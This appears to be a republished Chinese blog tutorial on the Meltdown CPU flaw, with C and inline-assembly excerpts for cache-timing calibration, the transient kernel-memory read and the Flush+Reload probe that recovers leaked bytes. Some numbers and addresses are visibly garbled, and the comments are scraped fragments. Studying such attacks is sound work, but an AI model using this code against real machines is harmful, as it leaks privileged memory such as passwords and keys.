您现在的位置是:首页 > 编程 > 

对CPU漏洞Meltdown的理解

2025-07-29 15:05:30
对CPU漏洞Meltdown的理解 步骤1先获取cached和uncached的读取时间,根据这个两个时间设置一个阀值下面的代码是循环ESTIMATE_CYCLES次后取读取时间的平均值,再计算阀值代码语言:javascript代码运行次数:0运行复制#define ESTIMATE_CYCLES static void set_cache_hit_threshold(void)

对CPU漏洞Meltdown的理解

步骤1

先获取cached和uncached的读取时间,根据这个两个时间设置一个阀值

下面的代码是循环ESTIMATE_CYCLES次后取读取时间的平均值,再计算阀值

代码语言:javascript代码运行次数:0运行复制
#define ESTIMATE_CYCLES	1000000
static void
set_cache_hit_threshold(void)
{
	long cached, uncached, i;

	if (0) {
		cache_hit_threshold = 80;
		return;
	}

	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
		cached += get_access_time(target_array);

	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
		cached += get_access_time(target_array);

	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
		_mm_clflush(target_array);
		uncached += get_access_time(target_array);
	}

	cached /= ESTIMATE_CYCLES;
	uncached /= ESTIMATE_CYCLES;

	cache_hit_threshold = mysqrt(cached * uncached);

	printf("cached = %ld, uncached = %ld, threshold %d\n",
	       cached, uncached, cache_hit_threshold);
}

这是某次运行时候计算的结果

cached = 0, uncached = 416, threshold 111

可以看到 uncached的读取实践明显高于cached,我们可以根据有无cached进行推测一些东西

步骤2

步骤2是将我们想要读取的值读取到eax(实际是al,编译后查看汇编是movzx eax, byte ptr [rdi],其中rdi就是我们要读取的addr),这时候重要的操作来了,我们获取到的al只是作为target数组的索引(这里的target即target_array数组),由于推测执行和乱序执行,target+ rax * 4096这个地址的值就被缓存下来了(这是重点)

关键代码

代码语言:javascript代码运行次数:0运行复制
".rept 00\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"                     //这00个指令我试过删掉也是可以的,不影响

"movzx (%[addr]), %%eax\n\t"   // 将要泄露的值读取一个byte到eax(这是会权限检查,比较耗资源,而乱序执行和推测执行使得cpu从addr获取到值赋值给eax后,不等待检查结束就执行下面的条指令)
"shl $12, %%rax\n\t"           // 将rax * 4096
"jz 1b\n\t"                    // 如果是0就跳回开头的循环处了
"movzx (%[target], %%rax, 1), %%rbx\n" //之后将target+ rax * 4096给到rbx

为了方便,也贴一下ida看到的汇编代码

代码语言:javascript代码运行次数:0运行复制
......
......(这个add指令共00条)
.text:00000000004012A                 add     rax, 141h
.text:00000000004010                 add     rax, 141h
.text:00000000004016                 add     rax, 141h
.text:0000000000401C                 add     rax, 141h
.text:000000000040142                 add     rax, 141h
.text:000000000040148                 add     rax, 141h
.text:00000000004014E                 movzx   eax, byte ptr [rdi]
.text:000000000040151                 shl     rax, 0Ch
.text:000000000040155                 jz      loc_400C46
.text:00000000004015B                 movzx   rbx, byte ptr [rdx+rax]

步骤

这时候我们再尝试测试读取target+ i * 4096,一旦发现这个读取时间小于阀值(threshold),那么就证明这时候的i就是之前读取出来的al的值了,即从侧面知道了之前读取的值了

作者代码如下:

代码语言:javascript代码运行次数:0运行复制
static int cache_hit_threshold;
static int hist[VARIATS_READ];
void check(void)
{
	int i, time, mix_i;
	volatile char *addr;

	for (i = 0; i < VARIATS_READ; i++) {
		mix_i = ((i * 167) + 1) & 255;

		addr = &target_array[mix_i * TARGET_SIZE];
		time = get_access_time(addr);

		if (time <= cache_hit_threshold)
			hist[mix_i]++;
	}
}

我改成直接读取&target_array[i * TARGET_SIZE];也是可以的,修改如下

代码语言:javascript代码运行次数:0运行复制
void check(void)
{
        int i, time, mix_i;
        volatile char *addr;

        for (i = 0; i < VARIATS_READ; i++) {
                //mix_i = ((i * 167) + 1) & 255;
                mix_i = i;
                addr = &target_array[mix_i * TARGET_SIZE];
                time = get_access_time(addr);

                if (time <= cache_hit_threshold)
                        hist[mix_i]++;
        }
}

其中mix_i就是真正泄露出来的值,而hist[mix_i]是所谓的分数,即这个值命中了几次,因为推测执行和乱序执行不一定每次都能执行到那里了,所以对于读取每一个byte,都循环执行了1000次,当然每次执行前都要将target_arrayflush掉

代码语言:javascript代码运行次数:0运行复制
for (i = 0; i < 256; i++)
	_mm_clflush(&target_array[i * 4096]);

所以要提高泄露数据的成功率,可以增加读取每个byte时候的循环次数

下面可以看到1000次成功0到5次

references

.c

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。 原始发表:2018-01-09,如有侵权请联系 cloudcommunity@tencent 删除漏洞数组cputargettime

#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格

本文地址:http://www.dnpztj.cn/biancheng/1207658.html

相关标签:无
上传时间: 2025-07-24 14:39:43
留言与评论(共有 14 条评论)
本站网友 寻医问药
27分钟前 发表
141h .text
本站网友 十万个为什么电子书
27分钟前 发表
uncached
本站网友 秦火火
14分钟前 发表
00000000004010 add rax
本站网友 脉动广告联盟
7分钟前 发表
byte ptr [rdx+rax]步骤这时候我们再尝试测试读取target+ i * 4096
本站网友 佰草集清肌养颜太极泥
3分钟前 发表
141h .text
本站网友 新生儿喝什么奶粉好
16分钟前 发表
00000000004015B movzx rbx
本站网友 喝水死
1分钟前 发表
修改如下代码语言:javascript代码运行次数:0运行复制void check(void) { int i
本站网友 小户型装修图片
13分钟前 发表
分享自作者个人站点/博客
本站网友 血管性血友病
14分钟前 发表
也贴一下ida看到的汇编代码代码语言:javascript代码运行次数:0运行复制...... ......(这个add指令共00条) .text
本站网友 亚马逊网站
9分钟前 发表
可以增加读取每个byte时候的循环次数下面可以看到1000次成功0到5次references .c本文参与 腾讯云自媒体同步曝光计划
本站网友 小则
22分钟前 发表
我们获取到的al只是作为target数组的索引(这里的target即target_array数组)
本站网友 视频编辑器
4分钟前 发表
%%eax\n\t" // 将要泄露的值读取一个byte到eax(这是会权限检查
本站网友 海德堡花园
3分钟前 发表
141h .text